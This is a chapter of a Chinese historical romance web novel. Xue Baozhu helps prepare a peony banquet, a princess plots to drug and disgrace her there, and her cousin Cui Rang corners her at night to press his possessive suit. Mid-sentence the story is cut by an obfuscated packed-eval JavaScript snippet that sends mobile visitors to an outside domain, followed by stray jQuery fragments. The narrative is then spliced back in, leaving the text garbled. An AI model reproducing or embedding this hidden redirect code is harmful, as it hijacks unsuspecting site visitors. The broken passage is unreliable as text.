转眼间,就到了七公主下帖宴请的日子,薛宝珠可以不去,但白夫人却不得不去。
可白夫人回来后却愁眉不展。
薛宝珠给她请安的时候,看出她心神不佳,开口询问。
白夫人叹了口气,说起七公主听闻崔府有世所罕见的黑色牡丹,央着长公主让崔府办场赏花宴。
崔府的黑牡丹是多年前崔老将军攻下西域后带回来的,皇上龙颜大悦,为了嘉赏崔老将军,特地把这世上仅此一株的牡丹赐给了崔府。
这是崔府无上的荣耀。
也昭示着崔府在皇上心里的地位。
多年以来,崔府把黑牡丹培育得很好,可从来没有因此办过宴会。
白夫人担心宴会上牡丹出了岔子,到时候恐怕难以对皇上交代。
可若不办这个宴会,长公主那里又没法交代。
白夫人幽幽叹了口气。
薛宝珠知道白夫人的担心,垂眸思索了下,开口道:“姨母,既然长公主开口了,这宴会估计是推脱不得了。”
长公主身份尊贵,金口既然开了,崔府若不答应,可就是明晃晃在打长公主的脸。
同时薛宝珠也明白,长公主为什么好好的要来崔府看牡丹,这里面恐怕少不了七公主的推波助澜。
白夫人明白薛宝珠的意思,无奈道:“到时候只能格外注意牡丹,派专人照看。”
薛宝珠把手搭在白夫人的手上:“姨母,别担心,我会尽心帮您办好这个宴会的,牡丹也会安然无恙。”
她不知道七公主为什么非得来崔府,估计没安什么好心,只能小心再小心。
收到崔府赏花宴的帖子,七公主露出一个得意的笑,薛宝珠既然不肯出门,那她就上门去找她。
左右薛宝珠是逃不出她的手掌心的。
七公主对着身边给她梳妆的侍女漫不经心地问道:“让你准备的东西都准备好了吗?”
“都按照您的吩咐准备好了,世上绝无解药,保证把那她变成水性杨花的贱人。”侍女回答。
七公主满意一笑,突然想起什么问道:“安排的人都安排好了吗?”
侍女继续道:“公主放心,保证万无一失,只等那日到来了。”
七公主这才彻底放下心来。
似乎是预见了赏花宴上薛宝珠被众人揭发与男子私通的样子,七公主嘴角勾起阴狠的笑。
这些日子,薛宝珠一直帮着白夫人安排赏花宴的事宜,至于崔让早就被她忘到脑后去了。
崔让这些日子也不知道在忙什么,日日早出晚归,在兵部和军营中来回奔走。
半月后,崔让才有了空闲回府,这半个月他屡屡听到裴鹤轩上门与薛宝珠相谈甚欢的消息,脸色阴得能滴出水来。
偏生还有池修然三五不时地在他耳边说着薛宝珠到了适龄的年纪,不久他就可以看到薛宝珠的婚书了,更是烦躁的不行。
刚回府,崔让就看到了从白夫人的院子里刚出来的薛宝珠。
薛宝珠自然也看见了他,那日发生的事情犹如潮水一般在她脑海重现,转身就往旁边走。
崔让看她转身即走,蹙了下眉,快步走上前:“绾绾。”
被叫住的薛宝珠停住脚步,开口疏离:“表哥好。”
崔让走到她对面,看了眼跟在他身后的观云以及跟在她旁边的青玉,没有开口提及那晚的事情,看了眼她的腿:“伤都好了吗?”
薛宝珠敛眸道:“多谢表哥关心,好得差不多了。”
“虽好了可还要多注意些。”
“嗯。”
就在崔让还要开口的时候,花嬷嬷从院子里出来对着薛宝珠道:“小姐留步,麻烦随老奴再去见见夫人,夫人还有些事情要嘱咐您。”
薛宝珠正愁没有借口逃离,开口应下:“我这就来。”
崔让目送着她逃离一般的背影,久久没有收回不知道在想什么。
回临风院的路上,几个丫鬟手里捧着精美的礼盒,脚步匆匆。
观云在崔让的示意下拦住丫鬟问了一句,得知这些礼盒分别是裴鹤轩和秦元昊差人送来给薛宝珠补身体的。
崔让脑海里想到池修然说过的话:“无畏,据我所知你家宝珠可是不少人惦记呢,等以后宝珠真的嫁了人你确定自己受得住?不后悔?”
看着面前的礼盒,崔让眼眸微眯,眼中闪过一抹晦暗的光,转身离开了。
观云对着垂首的丫鬟们摆摆手,让她们离开,自己跟上了崔让。
因为怕再遇见崔让,薛宝珠一直在白夫人的院子里留到了晚上才往回走,这个时间段,崔让总不会再出院子与她偶遇上了。
青玉被她打发去处理一些事情,索性白夫人的选择距离锦绣院不远,就几步路的距离,薛宝珠便提着灯笼往回走。
反正是在崔府,戒备森严,并不会有什么危险。
路上,薛宝珠正琢磨着赏花会那日的菜品单子,路过一处假山时突然被人拽住手腕。
那人一用力,薛宝珠整个人便被带到了假山后面,灯笼落在地上发出不大不小的声响。
薛宝珠后腰抵住假山,惊呼出声,要喊救命,可还没等声音从喉咙里发出来就被人捂住了嘴,只能发出唔唔声。
“绾绾,别动。”一道清朗好听的声音在她耳边响起。
薛宝珠听出是谁,鼻尖萦绕着熟悉的气息,不再挣扎,漂亮的大眼睛在黑夜里眨了眨,适应了光线,看清面前的人。
崔让见她不再挣扎,放下捂着她嘴的手,手掌离开她柔软的红唇,掌心有些微微发烫。
“表哥,你这是做什么?”薛宝珠呼吸了几口新鲜空气,愠怒着开口。
“你一直在躲我。”崔让答非所问。
可薛宝珠却听明白了他的意思,扭过头就要离开:“表哥下次不要再晚上吓唬人了。”
她刚迈出一步,就被一只骨节分明的手托住了腰肢,拦了回来,坚韧有力的手臂揽住她盈盈一握的腰,修长的手紧紧贴在她的后腰上。
两个人就这样面对面站着,近到两人能感受到彼此的呼吸。
薛宝珠吓了一跳,伸手抵在他的胸膛上试图拉开两人的距离:“表哥你这是……做……做什么……”
崔让低头看着她:“绾绾,我有话与你说,可你一直躲着我。”
他的声音忽然变得低沉,嗓音如空谷幽涧,听了让人心头一颤。
“表哥,有话好好说,不必…不必如此……”薛宝珠抵在他胸口的手把他往外推了推,却是徒劳。
崔让垂眸盯着她有些慌乱的眸子,微微弯腰低声:“我不如此,表妹再跑开躲着我怎么办?”
他的语气幽幽,其中似乎还带着点点笑意。
薛宝珠张了张口,一时无言,她若是能躲着是一定会躲着他的。
看她
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15731222|174025||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
不说话,崔让盯着她:“我喝醉那晚……”
“那晚你醉了,我们什么都没发生。”
薛宝珠着急开口打断他,不明白他为什么执着于那晚的事,一而再再而三地提起。
在她看来,是他神志不清,喝醉了而已。
崔让固执摇头:“绾绾,发生了。我亲……”
那个字刚出口,薛宝珠脸颊通红地捂住了他的嘴,不让他继续说下去。
感受着唇上她掌心的触感,崔让喉结微微滚动了一下,炙热的呼吸喷洒在她的手上。
下一秒,崔让拉下她的手,黑眸认真地看着她:“绾绾,我想说的是,我可以负责。”
这下轮到薛宝珠愣住,他说什么?负责?
崔让把她的手放在胸口处,声音醇厚,低低飘进她的耳中:“秦元昊不是良人,裴鹤轩更不是良配,绾绾,你我从小一起长大,为何我不可以?”
薛宝珠被他的话惊到了,心尖一颤,喉头发紧,声音哽在喉咙里。
崔让的眼神灼灼,哪怕是在黑夜里,她也能看清他眼里汹涌的情绪。
半晌,薛宝珠才找回自己的声音:“表哥,别开玩笑了。”
“我没有开玩笑。”崔让声音没有半分玩笑的意思:“你既要嫁人,为何不能看看我?”
薛宝珠看着变得咄咄逼人的他,磕磕绊绊:“你……你是表哥,我们不……不行……”
听她拒绝,崔让没有再说话,就那么直直盯着她。
漆黑深邃的眼神如同浸了墨,眼底是浓郁到化不开的偏执和占有欲,看得薛宝珠心惊,从头到脚升起一股寒意。
对视着他的眼神,薛宝珠觉得腿软。
就在她害怕得全身发抖的时候,假山外面传来青玉的声音:“小姐,您在哪儿啊?”
薛宝珠抓紧崔让胸前的衣裳,如果被人看见她与崔让此时的模样恐怕一百张嘴也说不清了。
察觉到她的恐惧,崔让收回手,后退一步,恢复往日清冷的模样:“刚刚没吓到吧?”
薛宝珠看着突然像是变了个人的崔让,越来越觉得他阴晴不定。
青玉的声音再次从不远处传来,薛宝珠猛回神,正准备转身离开,就被崔让抓住手腕,俯身在她耳畔轻声:“绾绾,你考虑考虑我如何?不必急着拒绝,我等你考虑好,但我不希望等太久。”
他的突然靠近,独属于他的气息一寸寸追着她,让从未与男子靠得这么近的薛宝珠脸颊忍不住发烫。
看她红了的耳尖,崔让无声勾了勾唇,放开她。
得到自由的薛宝珠不敢再看她,逃也似地快步走出去:“青玉,我在这里。”
“小姐!”青玉小跑着过来,嘟哝着:“奴婢总算找到您了,您去哪儿了?”
“去看了看花园里晚上的荷花。”
“您真是叫奴婢好生担心。”
…………
随着一主一仆的声音远去,假山后面的崔让弯腰捡起地上薛宝珠落下的灯笼,修长的手指抚摸着灯笼上荷花的图案。
思绪却飘回了那晚的那个吻上,她唇上柔软的触感仿佛仍旧残留。
想着,崔让眼神暗了暗。
表妹啊表妹,原本我是想放手的,可现在……
他想替自己争一争。
突然,崔让轻笑了一声,缓缓抬眸,望向不远处锦绣院的牌匾,嘴角勾起了一个意味不明的笑。